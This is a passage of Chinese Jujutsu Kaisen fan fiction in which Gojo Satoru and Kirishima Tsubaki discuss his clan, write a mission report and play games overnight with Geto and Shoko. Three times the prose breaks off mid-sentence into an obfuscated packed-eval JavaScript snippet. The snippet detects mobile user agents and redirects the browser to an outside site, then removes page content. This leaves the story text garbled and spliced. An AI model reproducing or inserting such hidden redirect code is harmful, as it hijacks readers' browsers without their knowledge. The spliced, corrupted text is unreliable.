“对吧对吧!”五条悟像小鸡啄米一样点头,“要是你当时下定决心一定要宰了它,就算它是准特级也破不了你的幻境哦。” 虽然听起来很简单,但下定决心,是指什么样的决心?范围未免也太大了。 “那我的术式大概只能止步于此了。”雾岛椿平静地陈述。 “哈啊?!为什么?!”五条悟的反应比她本人激烈多了,仿佛被宣判止步不前的是他自己。 “如你所见,我就是这样的人。”雾岛椿摊手,语气带着一丝无可奈何的淡然,“天生就没什么强烈的情绪。” 更重要的是,她并没有非祓除咒灵不可的理由。 高专只是暂时的容身之所,完成任务不过是支付停留的代价,她从未想过要成为一名真正的咒术师。 “是吗?”五条悟若有所思地盯着她看了几秒,忽然撅起嘴,拖长了声音,语气里充满了被敷衍的幽怨和不满: “椿——你根本就是在把我当小孩子骗嘛……” 7. 家族 雾岛椿来到高专这一个多月,出于本能,最先摸清的就是盘踞在咒术界顶端的权力核心——御三家。而五条家,是其中最特殊的存在。 禅院家和加茂家枝繁叶茂,底蕴深厚,像盘根错节的古树,他们在术式和政治上各占一席地位。 术式是他们的“根”,而历史和政治则是他们的“茎和叶”,三者结合,共同确立了他们不可动摇的“御三家”地位。同时,三家的侧重点也不一样,五条家是术式最为罕见,上限最高,其术式拥有战略级约束力,而禅院家则是综合实力较强,加茂家在总监部拥有巨大政治能力。 但这也导致了五条家的不同,“六眼”的不稳定导致五条家的地位也不稳定,他们把所有赌注都押在了一张百年一遇的王牌上。 在眼前这个新一代“六眼”诞生前,五条家更像是一座华丽但根基摇摇欲坠的古老殿堂,全靠“六眼”数百年的威名和数百年的历史积淀在硬撑。 直到五条悟降生。 他完美地继承了“六眼”和“无下限”,于是,拥有五条悟的五条家,现在是当之无愧的“领头羊”。整个家族的威望,几乎一夜之间被他一肩扛起,压在了那副看似玩世不恭的肩头上。 她听说过五条家是如何将这位“六眼”神子奉若圭臬,也隐约察觉到这个家族煊赫声名之下,对其他两家的隐隐忌惮。 一个完全依靠“最强”来维系地位的家族,会轻易放他们的“核武器”离开掌控吗? 雾岛椿很好奇,于是她没有理会五条悟对于自己被敷衍后发出的那点微妙的叹息,她有更在意的事情。 “你呢?”她状似随意地接上之前的话题,指尖轻轻点着桌面,“你又是为什么入学高专,是受五条家血脉的牵制吗?” 她观察着他,观察着他们。 夏油杰心中有着他要“保护弱者”的正义,家入硝子有她无可替代的术式价值。那么五条悟呢?这个生来就拥有一切的人。 难道他也会被家族血脉的责任所束缚吗? “怎么可能?我可是最强,五条家的老头子怎么会轻易牵制我?”五条悟下意识反驳,“椿,你未免太看不起我了吧!” 果然如此。 对于五条悟的反应,雾岛椿并不惊讶。 “没有这么想哦,我只是随便问问。”雾岛椿从善如流地安抚着五条悟,他似乎对自己看低他的行为感到很不满。 她最初以为,他入学高专,或许只是千年世家继承人必经的程序,为了拿到那张官方认可的“文凭”,好名正言顺地接管家族势力。 但与五条悟相处久之后,这个念头自然而然被她自己否定了。 五条悟怎么会是乖乖走程序的人? 凭他的实力,就算没有成为咒术师,也一定会是家主。五条家也选不出第二个能替代他位置的人。 “呜哇~”五条悟发出夸张的惊叹,苍蓝色的眼睛瞬间亮了起来,像是发现了什么绝妙的趣事,“椿!你才来多久,就已经把御三家的老底都摸清啦?” 他身体猛地前倾,那张无可挑剔的脸瞬间在她眼前放大,嘴角咧开一个恶劣又兴奋的笑容,“超~可怕的!你其实是哪里派来的间谍吧?” 雾岛椿心里微微一怔。 她没想到他会是这个反应,精准地抓住了“调查”这个点,却又完全曲解了她的意图。 她刚想开口,却被他更快地打断。 “嘛嘛~开玩笑的!”他笑嘻嘻地靠回椅背,随意地挥了挥手,“那些老家伙的事情,想知道不就随便知道了?毕竟他们那么高调,特别是对你来说。不过啊——” 他忽然又凑近,这次压低了声音,带着分享秘密般的狡黠,“你猜错了一点哦。五条家的老古董们怎么可能主动提议让我来高专,他们是根本不允许好吧。你都不知道我当时说要来,他们那张老脸皱得……” 他拖长了语调,做了一个夸张的、快要哭出来的鬼脸,“——简直像吞了一百个柠檬哦!” “我都不知道那群老古董怎么会反对得那么激烈,我又不是不回去了。”五条悟摆摆手,一脸嫌弃。 雾岛椿愣住了,下意识地想象了一下那个画面,一群威严的长老们欲哭无泪的样子,莫名有点滑稽。她嘴角没忍住轻轻弯了一下。 不允许? 这完全出乎她的意料。 “他们为什么反对?”她追问,好奇心被彻底勾了起来。 难道五条家并不希望他成为咒术师吗?还是单纯不想让他离家太远?或者…… 跟总监部有关? 但明面上更讨厌高层那些人的明明是五条悟吧。 “嗯——?”五条悟歪着头,那双眼睛无辜地眨了眨,随即露出一个漫不经心的笑,“谁知道呢~大概是因为他们太——无聊了吧?整天念叨着什么‘您是五条家的希望’、‘您的身份’之类的……烦都烦死了。” 他忽然站起身,双手插在口袋里,语气轻快又张扬,带着一种理所当然的狂妄: “但是啊——” “最强的我想去哪里就去哪里,想做什么就做什么。” “那些老古董的意见……” 他拖长了语调,嘴角扬起一个肆意又傲慢的弧度。 “——谁在乎啊?” 阳光落在他雪白的发丝上,映得那双苍天之瞳更加璀璨。此刻的五条悟,仿佛生来就该如此自由不羁,任何束缚都无法将他禁锢。 雾岛椿望着他,忽然明白了什么。 这个人入学高专,从来不是因为什么血脉的束缚或是家族的责任。 仅仅是因为——他想这么做。 而“最强”的名号,赋予了他随心所欲的资格。 “高专有什么吸引你的地方吗?”目前来看,高专没比五条家特殊吧,一样充满了束缚。 “吸引我的地方?来之前我并没有想那么多欸——”五条悟懒洋洋的说道,“只是想着肯定比五条家好玩吧,就来了。” “那你感觉如何?” “超赞啊!真的比五条家有趣多了!而且椿也特别好玩。” 她侧头看着他那副吊儿郎当却又再认真不过的表情,忽然觉得有点好笑。 看来是真的很讨厌本家啊。 或许,他与五条家的关系,不仅仅是“他被惯着、宠爱着”这一句话所能解释的。 只是……好玩是什么意思?她好玩吗? “我这种人,你也会觉得有趣吗?”她半开玩笑地问,带着一点自嘲,“悟,你真是有一双善于发现‘美’的眼睛。” “欸?”五条悟发出一个短促而夸张的疑问声,随即得意地扬起下巴,得意地笑了笑,“虽然这么说也没错啦~毕竟我的「六眼」当然是全能的!” 但下一秒,他收敛了玩笑的神色,难得带上了一点认真的语气,纠正道: “但是啊,「六眼」只能看清真实存在的东西,可不会凭空捏造哦。” 他猛地凑近,几乎要贴上她的脸,声音里带着一种不容置疑的笃定: “也就是说,你的术式相当厉害,你这个人也超——有趣的!「六眼」是绝对不会看错的!所以,椿,请立刻停止诋毁「六眼」品味的行为!” 明明是她自己在客观地评价自己,却被他胡搅蛮缠地扭曲成了“质疑他的眼光”。真是……独属于五条悟的、蛮不讲理的肯定。 虽然她并不需要这种肯定,也不需要任何安慰——她从不认为“无趣”是什么缺点。 但还是忍不住笑了:“嗨嗨~知道啦,我保证以后会注意的。” 或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427785|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许在五条悟的眼里,她真的变成了另一个人:有趣、强大、生动又活泼? 虽然这感觉陌生得不像她自己,但既然那是五条悟眼中的她,便没什么好反驳的,每个人的感受都是主观的,妄图改变主观认定的事实,是一件无意义的事。 “走了走了!该回去了!”五条悟一把抓住雾岛椿的手腕,不由分说地把她拉起来,“再磨蹭下去夜蛾又要啰嗦了,才不要写检讨,超——麻烦的!” 雾岛椿没什么反抗,任由他拉着走,仰着头,目光自然而然地落在他的后脑勺。 他的头发似乎总在不经意间窜长,柔软的白发比起开学时利落的短发,已悄然覆过耳际,随着他咋咋呼呼的动作一跳一跳。 就像他这个人一样,情绪来得快去得也快。偶尔会像电量耗尽的玩具般陡然低落下去,却在下一秒又不知被什么触动开关,瞬间充满电,变得精力过剩。喜怒哀乐在他身上总是格外鲜明,连说话的尾音都习惯性地拖长上扬,带着一种独有的、吵吵嚷嚷的活力。 能量太高了。雾岛椿默默地想,高得有点让人疲惫。 她本质上是个低功耗运行的人,和这种仿佛永远满电的太阳能电池待在一起,总觉得自己贫瘠的精力快要被抽干了。再这样下去,难保不会发生什么麻烦的“化学反应”。 显然,她意识到了在这一点,却完全没有要离他远点的想法。 跟着五条悟走出甜品店,喧闹的人潮和阳光瞬间涌来。雾岛椿敏锐地察觉到,五条悟的表情似乎微不可察地臭了一瞬,虽然极快就恢复了那副没心没肺的样子。 她抬眼看了看周围密集的人流,以及那些或明或暗投向他俩——主要是投向五条悟——的目光,想起了他之前关于“六眼”的话。 “悟,”她的视线落到五条悟眼睛上,轻声问,“脑子不会要爆炸了吧?” “嗯?”五条悟侧头,眼里闪过一丝诧异,她居然能够察觉到自己那一瞬间的异样,随即立刻嘴硬道,“还好啦~只是店里外信息量差太大,一瞬间没适应而已。” “不过连一秒都不用就搞定啦~谁让我是最强呢!”他为了证明自己没事,甚至在她面前蹦跶了两下,“你看,完全没问题!这点信息量对我来说根本就是杂鱼啦~” 他笑得像个没事人,甚至开始不顾形象地手舞足蹈,要不是脸长得实在好看,早就被路人当成什么奇怪的家伙了。 真是惊人的活力……和死要面子。 雾岛椿没说话,只是换了个问题,“所以你早上迟到,其实是因为晚上‘六眼’关不掉,根本睡不着吧?” “哈啊——?!”五条悟像是被踩了尾巴的猫,声音瞬间拔高,“怎么可能!那只是因为理论课太无聊了完全不想起床而已!” 五条悟眼神有些躲闪,他才不会承认自己因为术式影响到睡眠的事情,那简直太逊了。 依旧嘴硬。 雾岛椿有些想笑,他总是在无关紧要的一些事情上给出超大的反应,也完全不知道自己的反应直接暴露了他的想法。 因为术式副作用睡不好觉是一件很缄默于口的事情吗? 刚开始雾岛椿也不理解,现在倒是明白了。这家伙,完全是觉得这件事丢他最强的面子嘛。 真是小孩子心理。 “是吗?”她语气平淡,带着一点故意的敷衍,“那好吧。” “喂!你根本就没信吧?!” “这有什么好怀疑的?咒术理论课很枯燥,不想上不是很正常吗?” “嗨~嗨~,但课还是得去上,不然夜蛾老师的铁拳可是会落下来的。”雾岛椿轻巧地把话题引开。 果然,一提到夜蛾的正论铁拳,五条悟立刻像被戳破的气球,焉了下去,不情不愿地嘟囔:“……这我当然知道啊。” 8. 绮丽 夜蛾正道盯着桌面上摊开的“任务报告书”,额角的青筋隐隐跳动。 纸张上,本该详细记录咒灵等级、战斗过程、祓除方式的部分,被一只歪歪扭扭的涂鸦咒灵占据——圆滚滚的身体,夸张的锯齿嘴,旁边还画了个箭头标注:「超恶心~☆」。除此之外,一片空白。 夜蛾缓缓抬头,看向坐在教室下方摸鱼的五条悟,目光如刀,“悟,解释一下。” 五条悟整个人瘫在课桌上,长腿懒散地垂落在桌子边缘,露出一双无辜的苍蓝色眼睛,“嗯?这不是写得很清楚嘛~你看,咒灵长这样,我和椿一起祓除了,完美!” 夜蛾的手指捏得咯吱作响:“……重写。” 五条悟拖长音调:“诶——不要,好麻烦啊——” “不会写就去请教椿,她第一次出任务,比你靠谱多了。” “切~真想不通这个有什么好写的,”五条悟不满地努嘴,脸也垮了下来,“咻——的一下,咒灵就没了。”他手上配合着动作,比划两下,绘声绘色。 “没得商量,你至少得写出一点过程吧。”夜蛾正道铁了心要让他重写,之前那些不合格报告至少都写了点无关紧要的信息,他懒得追究。 但纵容他只会越来越过分。 “嗨~嗨~”五条悟抬起不久的头又重新趴在了桌子上,得知要重写报告的他提不起任何兴趣,整个人像只枯萎的花。 雾岛椿不是第一次见到他这样萎靡的样子,奇异的是没人管他的话没一会儿他就会打起精神,像个没事人一样。 自我调理能力真好啊。 “哦?”五条悟似乎注意到了她的注视,上一秒还苦兮兮的脸下一秒就挂满笑容,并朝她wink了一下。 真是每时每刻都在散发魅力。 只是为什么她感觉背后一凉,有什么不妙的事情要发生。 雾岛椿当作没看见他抛的媚眼,默默转过头。 这种不妙的预感一直维持到下课,直到自己的头上传来一道俏皮的声音: “椿~” 果然。 预感要应验了。 五条悟一下课就闪到正在整理资料的雾岛椿身后,下巴搁在她头顶,像只大型猫科动物一样蹭了蹭,“椿~帮帮我嘛~” 虽然并未实际接触,但无下限术式带来的微妙存在感已然笼罩下来。 椿手里的笔顿了一下,微微侧头,“……悟。” 五条悟眨眨眼,声音甜得能滴出蜜来,“报告什么的超——无聊的!但椿的话,一定能写出让夜蛾满意的内容吧?” 夜蛾还没走出教室,冷冷插话:“悟,自己的报告自己写。” 夏油杰也从身后拉开了五条悟:“悟,对女孩子要有点距离感。”他语气很无奈,但大约是和五条悟出了一个月任务,熟悉起来之后已经没有了刚见面的火药味。 家入硝子也在一旁鄙视五条悟:“不要以为你开着无下限没碰到椿就能为所欲为,想被当作流氓吗?五条。” 五条悟充耳不闻,继续对着雾岛椿撒娇,“你看,如果我被罚留堂,就不能陪你去买限量版喜久福了哦?” 到底是谁想吃喜久福啊…… 雾岛椿沉默两秒,轻轻叹了口气:“……好。” 反正写报告对她来说并不是什么麻烦的事情,反而是直面五条悟的撒娇,总会让她产生一些莫须有的压力。 明明,他看起来很好相处才对。 她想,应该是因为他的术式太特殊,在那双眼睛下,她感觉自己无处遁形。没有人希望自己在别人面前一览无余,这种感觉糟糕透了。 或者,是因为她讨厌这种一但五条悟开始撒娇自己就不受控制的行为,完全说不出拒绝的话啊。 五条悟怔愣了一瞬,并不清楚她为什么答应自己,本来以为会被拒绝的。 “诶?”夏油杰露出了比五条悟更惊讶的表情,“雾岛,你没必要惯着他。” 家入硝子也凑近,半开玩笑地压低声音,“被威胁了就说出来,我们帮你教训他。”她伸出手把雾岛椿从五条悟的笼罩中拉了出来。 显然,另外两人比五条悟更意外,反应更大。 雾岛椿无奈地拍了拍家入硝子挽着她的手:“没有被威胁啦,是自愿的。” “哈啊——?”听见杰和硝子两人竟然当着他的面诋毁,五条悟生气地反驳,“你们两个什么意思啊,就不能是因为我魅力大吗?你们这群嫉妒的家伙!” “……” 夏油杰扶额:“不,这只是证明了雾岛同学性格太好。” 家入硝子点头:“以及你对‘魅力’这个词存在根本性的误解。” 五条悟被气得太阳穴突突直跳,知道那两人不会说真话,于是他把目光放回雾岛椿身上,立马转变表情,变得可怜兮兮,用着撒娇的语气控诉,“椿,我真的没有魅力吗?” 雾岛椿:……怎么火力又转到她身上了? 雾岛椿被他盯的汗流浃背,他的长相实在是太绮丽了,雪白的头发,苍蓝色的眼睛在雪白的睫毛下半遮半掩,如同蓝蓝的天空被初雪点缀着,过于瞩目。 美得近乎一种暴力。 被这样一张脸紧紧盯着,还用着近乎撒娇的语气,祈求着她的肯定,谁能拒绝呢? 就算是装的也无法拒绝。 “有的,”雾岛椿什么也没多想,脱口而出,“悟的长相就像久旱的天空迎来的一场初雪,让人心旷神怡,沉迷其中。” 这话一出,夏油杰和家入硝子互相对视一眼,短暂地沉默了,似乎是被这过于文艺的比喻震住。此刻,他们的眼里只有一个想法: 椿夸人还真是不吝啬,悟那小子长的是有点姿色,但这也太夸张了。 不止是夏油杰和家入硝子,雾岛椿自己都有点怔愣。 刚刚那话,居然是从她嘴里说出来的吗? 她现在才知道,原来自己还是个文艺少女。 而且,还文艺的莫名其妙,天空……是可以用久旱来形容的吗? 但被五条悟凑近的那一刻,她的眼中只有他放大的那张脸和眼里传递的“快夸夸我”的期待,于是她第一次不假思索地说出了自己的想法。 因为,真的很像雪啊,无论是发色还是睫毛,亦或是……性格。 会很唐突吗? 雾岛椿抬眼看向五条悟,想第一时间观察他会怎么应对这近乎暧昧的夸奖。 但五条悟显然没有觉得这个比喻有哪里不合适,他只是得意地扬起下巴,随即又不满地嚷嚷道,“什么啊!我的魅力仅限长相吗?人格魅力呢?人格!” “我才不想当一个空有美貌的花瓶啊,这样会显得我是一个靠脸吃饭的小白脸欸!” 花瓶?小白脸? 雾岛椿似乎理解他所表达的意思了,她安抚道,“悟哪里像花瓶了,你明明一直都是以保护别人的形象出现的吧,最强有被人保护过吗?” 为了显得自己说的话很有份量,她甚至用上双手,做了一个拒绝的手势,“所以绝对不会有人认为悟是小白脸的!” “对吧!对吧!”得到了全方面肯定的五条悟高兴地比了个胜利手势,“不愧是椿!说话很客观而且句句在理,果然还是最——喜欢你了!” 诶? 喜欢这两个字,就这么轻易被他说出口了。大家在表达自己的心意时不都是很含蓄的吗?即便她知道悟不是那个意思,但好歹也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427786|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一位大少爷啊,贵族大少爷性格如此外放是被允许的吗? 雾岛椿怔愣在原地,一旁夏油的话语拉回了她的思绪,“悟,不要随便对一个女孩子表白啊。” 五条悟歪头,一脸纯然的不解,“嗯?” “嗯什么嗯,”夏油杰扶额,很无奈地解释,“对女孩子没那个意思就不要轻易说出这种话啊,雾岛都被你吓呆了。” 家入硝子:“就是,这样会显得很轻浮哦。” 被这么一提醒,五条悟的视线又轻飘飘地落到了雾岛椿身上,她瞬间感觉浑身不自在,解释道,“没关系,只是一时有些不适应这样热情的相处方式。” “椿都说了没关系,我看你们两个就是在找我茬吧?”五条悟觉得自己被针对了。 “实话实说而已。”夏油杰不甘示弱。 结果就是两人又吵起来了。 一旁的硝子和椿互相对视了一眼,摇了摇头。 全程被忽视的夜蛾:“……” 这群问题儿童是不是忘记了他还没离开,气得他不小心捏碎了手里的钢笔。 但他什么也没说,默默退出了属于年轻人的话题。 --- 男生宿舍,硝子和杰在打游戏。 而五条悟盘腿坐在椿旁边,单手托腮,看着她流畅地写下任务细节,时不时插嘴: “这里要写‘五条大人帅气地秒杀了咒灵’~” “这里加上‘战斗过程如同艺术般华丽’!” 椿笔下不停,语气温和:“……悟,报告需要客观描述。” 五条悟撇嘴:“诶——那多没意思。” 夏油杰在一旁边打游戏边提醒:“悟!你再干扰她小心她不帮你写了哦!” 五条悟夸张地捂住胸口:“好过分!明明是我找来的帮手!” 雾岛椿写完最后一笔,合上文件,轻声对五条悟道,“……下次,请至少写一半。” 五条悟笑嘻嘻地接过报告,顺手揉了揉她的头发,“知道啦~下次我会画得更可爱的!” 头顶的触感转瞬即逝。 悟好像特别喜欢摸她的头,可能对他来说摸摸头是表达对一个人的感谢吧。 雾岛椿以前没有被人摸过头,但感觉没那么糟糕,所以她也并不是很排斥。 她还没收拾好东西,就听见五条悟调皮的声音从不远处传来,“我也要打~让你们见识一下最强的厉害!”看来是又去招惹硝子和夏油了。 雾岛椿嘴角勾起一抹转瞬即逝的浅笑,也紧随其后,“我也想玩。” “你什么时候居然对游戏感兴趣了?”五条悟把夏油杰挤到边上,无视夏油杰对他的不满,反而笑嘻嘻地跟雾岛椿交流起来,“正好,我们来玩2V2吧!” “你跟我一队,保证打的她们落花流水!” “悟这么厉害的吗?”雾岛椿顺着他的话问下去。 果然,五条悟一秒上钩,立马骄傲地撅起嘴,整个人都洋溢着自信,“那是当然,最强打游戏也是最强哦。”自信地好像还没开打他就已经预料到自己赢了一样。 “那我们队就靠悟了。”雾岛椿说地很认真,她也觉得五条悟能赢。 完全被人看低了的另外两人:“……” 硝子倒是对赛前的垃圾话无所谓,夏油杰则是不甘示弱地怼回去:“小看谁呢,那就来试试吧!我尽量不让你输的太难看。” 大战一触即发。 看着自信爆棚的五条悟和一脸无奈的夏油杰,家入硝子拿起另一个手柄,对雾岛椿说,“看来今晚会很有趣。” “嗯。”雾岛椿接过手柄,屏幕的光映在她眼中,泛起一丝极淡的、连她自己都未曾察觉的暖意。 9. 游戏 “game over!” 当这样的提示词出现在屏幕上时,便宣告着一场激烈的游戏决斗的终结。 “呼~啊——!”五条悟双手向后撑,游戏机自然掉落在腿上,整个身子向后倒,脸上带着爽快的笑容,“赢啦!” “椿你真的是第一次玩游戏吗?” “是哦。”雾岛椿也惊觉自己在游戏上的天赋,但她确实是第一次玩游戏。 “呜哇!这就是天赋怪吗?”五条悟先摆出夸张地张大嘴,接着又转向另外两人,露出欠揍的表情,“是硝子和杰没能拥有的啊。”表情不善,语气却是像真情实感为人感到惋惜。 莫名被人看低了的家入硝子根本不想惯着他,冷冷地瞥了他一眼,“想死吗?混蛋。” 夏油杰也看不下去他这嚣张的样子,但他没有气急败坏,而是慢悠悠地说,“也不知道上次为了一个刚发行的游戏熬通宵烧坏脑子的人是谁。啊,当然,天赋怪是不会理解这种痛苦的。” “哈?说得好像你没通宵似的!”五条悟立刻炸毛,“某些人通宵都打不过去才可怜吧?” 说到这里,他还俏皮地吐了吐舌头。 “哈啊——?”夏油杰被说地额角青筋浮现,火气上来了,“你再说一遍?” “怎么?”五条悟也压低眼睛,微抬下颚,从上到下冷眼看着他,“你以为我不敢说吗?” 一旁两男生吵架波及到的椿和硝子表示已经习惯了:就知道会变成这样。 “悟。” 吵架的两人戛然而止,不约而同望向雾岛椿。两人不爽的表情都还没来得及转变,这导致雾岛椿有那么一瞬间感觉后背凉凉的。 就连硝子也放下游戏,疑惑地看向她,像是在问她为什么要卷入两个笨蛋男生之间的战争。 然而雾岛椿什么都没说,她只是从不知道从哪里冒出来的袋子中拿出了草莓牛奶和可乐,递给了悟和夏油还有硝子。 大家欣然接过,还下意识到了声谢,然后眼睁睁地看着雾岛椿重新盘腿坐下,默不作声地盯着她,像是在等待她发话。 “……喝完再吵吧。”雾岛椿被几人盯的莫名有些心虚。 对此,五条悟和夏油杰表示:这跟把睡的正香的人叫醒再让他重睡有什么区别啊岂可休! 雾岛椿似乎也意识到这个理由不够充分甚至算不上什么理由,于是又补充道,“其实是因为就我一个人喝的话感觉不太好,打了四五个小时我有点渴了,想必大家也渴了吧?” “什么啊,”五条悟将吸管插进草莓牛奶中,狠狠吸了两口,发出了两声爽朗的怪叫,“好喝!” 虽然喝着雾岛椿买的牛奶但五条悟依旧不打算放过她:“椿你也太小心翼翼了,喝个饮料还看别人眼神,也太笨了吧。” 他嘴上说着不太中听的垃圾话,但也不是完全没道理。 “悟说的对,”夏油杰难得和五条悟意见一致,“不需要太在意我们。” 家入硝子虽然赞同他们的话,但是依旧看不惯他们的说法,“要不是你们两个笨蛋男生吵架,会把椿吓的饮料都不敢喝吗?多反思反思自己。”她转向椿,语气缓和,“不过椿你确实不用在意太多,我们是同期,不是高你一级的长辈。” 雾岛椿点点头,嘴角扯开一个很标准的弧度,对着他们笑了笑,“我明白了。” 看着她脸上温柔的笑容,夏油杰狐疑地盯了盯,最后不经意间问,“话说雾岛你也是出生大家族吗?” 经常能从她身上感觉到连五条悟都比不上的疏离感,无论她性格有多好相处,这种感觉始终萦绕在他心头。 “嗯?”雾岛椿歪歪头,“为什么会这么问?” “因为你有点过于礼貌了,刚开始见面时还穿着价值不菲的和服,言行举止都比悟更像大家族的人。” 五条悟没想到还有他的事,不满道,“杰你什么意思啊,还想吵架吗?” 虽然他不是很在乎五条家,也不在乎是不是大家族的人,但是他这明显是在暗暗贬低他的行为举止不礼貌吧? 他皱着眉,咋咋呼呼的,雾岛椿轻笑,安抚道,“悟这样也挺好的,过于繁文缛节很无趣,不是吗?” 夏油杰一怔,手里的可乐也停顿了一瞬间,他有些想不明白她是在自嘲自己无趣,还是单纯认为自己算不上繁文缛节。 五条悟自然注意到了他的异常反应,但并没有多说什么。 “嗯……”雾岛椿垂眼,浓密的睫毛在下方投出一片阴影,遮住了她眼里的思绪,仅仅几秒她便开口回答他之前的问题,“严格上来说,我应该不算出生大家族?” 这模棱两可的答案让原本就聚焦在她身上的视线更加紧密了,能看出大家都很好奇她的家世。 “因为家族已经没落了,在我出生之前。”雾岛椿说。 她的家族在普通人中勉强能挤进贵族一列,但是跟五条悟这种出生于更神秘的咒术界中的大家族比,完全是小巫见大巫。 普通人连咒灵的存在都不从得知,如何去了解御三家? “你们家族以前知道咒灵的存在吗?”夏油杰大概知道她的一点情况,但还是想要确认。 毕竟他身为普通人类,术式却是从小就伴随的,像她这种几个月前刚觉醒的情况很是稀有。 而且还这么强,莫非真是天赋怪? “不知道,之前家族里的人完全是普通人类,我是一个特殊的例子。”雾岛椿低头,视线紧盯着自己的手,“一直没想明白我觉醒术式的契机是什么。” “哎呀想这种东西完全没意义啦~”五条悟突然凑近她的脸,难得认真地说,“比起过去,未来明显更加重要吧。” 这次倒是没人反驳他的话,就连硝子和杰都非常赞同。 雾岛椿点点头。 她本来也没多在乎,相反,过去发生的事,她都快要忘记了。 因为在高专还挺忙碌的。 “话说椿你这家伙什么时候买的饮料?”家入硝子笑嘻嘻地转移话题,“真贴心啊。” “对啊~对啊~,”五条悟乖乖地点点头,表情浮夸,“这是特意给我买的草莓牛奶?椿还真是莫名其妙地体贴啊!” “体贴就直接夸体贴,不要加上那些奇奇怪怪的形容词。”夏油杰无奈地摇头,目光在五条悟的草莓牛奶和自己手中的可乐间流转,若有所思。 不过一瞬,他眼中闪过一丝了然,嘴角勾起一抹转瞬即逝的轻笑。 大概是觉得雾岛椿只给他买了专属的草莓牛奶,有点莫名其妙吧。 “嗯?这个嘛……”雾岛椿不知道怎么回答。 莫名其妙?她也觉得自己挺莫名其妙的。 只是路过贩卖机,看见了草莓牛奶,想起了它经常出现在五条悟手里。 鬼使神差就买了。 夏油杰提出建议:“这么麻烦的事下次不用自己偷偷去做,大家一起去买会更愉快哦~” “下次会提前告诉大家的。” “嘛~这个游戏难度太低了啦,没几个小时就通关了,我们来玩这个吧~!”五条悟兴高采烈地不知从哪里又掏出一个游戏带,“这次我一定让你们输得心服口服!” “诶~但是好累啊。”夏油杰倒在地板上,眼睛眼睛半眯不眯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427787|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “饶了我吧。” “哈~”家入硝子懒懒地打了个哈欠,“我先补个觉。” “等等,先别睡啊!”五条悟眼看着他们已经半死不活的样子,气得哇哇大叫,“这也太菜了吧!” “椿~”五条悟刻意眨着他那双闪闪的蓝眼睛,语气放软,“陪我玩嘛~” 雾岛椿本来也没多累,不用他出卖色相也会答应他的。 “悟,”雾岛椿伸出手放到他的脸上,往前推了推,再近一点就要贴在一起了,她无奈,“……卖萌可耻。” “你就说你玩不玩吧?” “玩。” 听见她的答案五条悟立刻得逞地笑了,他像是知道自己的优势是什么,并愿意为了达到自己的目的去将它最大化利用的人。 而且还很有用。 “既然如此,那么开始了就不能反悔哦~”五条悟龇着大牙,笑得很邪恶,动作快而利落地打开了游戏,“要是说点好话听听我还能让让你。” “什么好话?”雾岛椿顺着问。 “嗯……比如五条悟这么帅还请手下留情之类的。”五条悟说的很自然,看不出任何羞耻心。 当然,雾岛椿也干脆利落地拒绝,“不要。” 对于她的拒绝五条悟也不意外,要是真答应了他可能还得找人来为她驱邪。 “那就做好被我打败的准备吧!” “……” 第二天清晨。 “所以呢?你们就这么打了一个通宵?” 家入硝子转过身,手撑在雾岛椿桌子上,好笑地看着她和五条悟眼底下那两个黑眼圈。 “对啊。”雾岛椿趴在桌子上,有气无力地点点头。 她整个人严重缺乏睡眠,要死不活的。 “没想到我们优等生也会通宵打游戏啊。”家入硝子啧啧两声,这确实是有点稀奇。 昨天她和夏油一睡不起,早上起来四个人横七竖八地倒了一地,唯一不乱的大概就是雾岛椿的睡姿了吧,只有她一个人是规规矩矩地倒在地上。 还好她先醒了,不然大家都得迟到。 “所以最后通关了吗?” 雾岛椿点点头。 “谁先通关?”家入硝子饶有兴趣地问。 本来平时毫无疑问是五条悟先通关的,但雾岛椿的天赋也不容小觑。当一个问题的答案存在悬念,问出来才有意思嘛。 “我。”说到这个雾岛椿觉也不睡了,头也不疼了,整个人都精神多了,声音也比刚刚响亮多了,“悟输了。” “哈哈……”家入硝子捧腹大笑,显然,这正是她心中想要听到的那个答案,“终于有人能治治那个嚣张的家伙了!” “够了,只是输了一次而已。”五条悟听着她的笑声越听越烦躁,他猛地从桌子上抬起头,为自己正名,“取笑我之前你和杰首先得先赢过我好吧。” 夏油杰加入嘲笑行列:“哈哈哈……” “这跟你输了有什么冲突吗?没记错的话——”他故意停顿,后又大声取笑,“某人打之前还信誓旦旦地让别人求求他放水吧?” “这不是没放水也能赢吗?” “哈啊——?”五条悟站起身来,微微抬头,居高临下地看着他,像是在为自己找气势,他嘴角勾起一个挑衅的笑容,话里也带着火药味,“这不是连我都赢不过的家伙该考虑的吧?” “想打架吗?”夏油杰被他一句话点燃斗志。 “打就打,输了可别求饶。” “……” 雾岛椿和家入硝子对望两眼,突然笑出了声。 